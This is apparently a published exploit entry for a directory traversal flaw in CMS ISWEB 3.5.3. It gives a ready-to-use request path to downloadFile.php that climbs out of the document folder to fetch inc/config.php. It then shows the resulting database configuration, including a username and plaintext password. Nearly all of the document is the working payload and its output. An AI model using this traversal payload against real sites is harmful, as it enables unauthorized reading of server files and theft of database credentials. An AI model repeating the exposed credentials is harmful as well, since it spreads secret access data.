CMS ISWEB 3.5.3 - Directory Traversal

# Exploit Title: CMS ISWEB 3.5.3 - Directory Traversal
# Date: 2018-08-01
# Exploit Author: Thiago "thxsena" Sena
# Vendor Homepage: http://www.isweb.it
# Version: 3.5.3
# Tested on: Linux
# CVE : N/A

# PoC:
# CMS ISWEB 3.5.3 is vulnerable to directory traversal and local file download,
# as demonstrated by

moduli/downloadFile.php?file=oggetto_documenti/../.././inc/config.php

# Download and open it.
$dati_db = array(
    'tipo' => 'mysql',
    'host' => 'localhost',
    'user' => 'networkis',
    'password' => 'guybrush77',
    'database' => 'networkis',
    'database_offline' => '',
    'persistenza' => FALSE,
    'prefisso' => '',
    'like' => 'LIKE'
);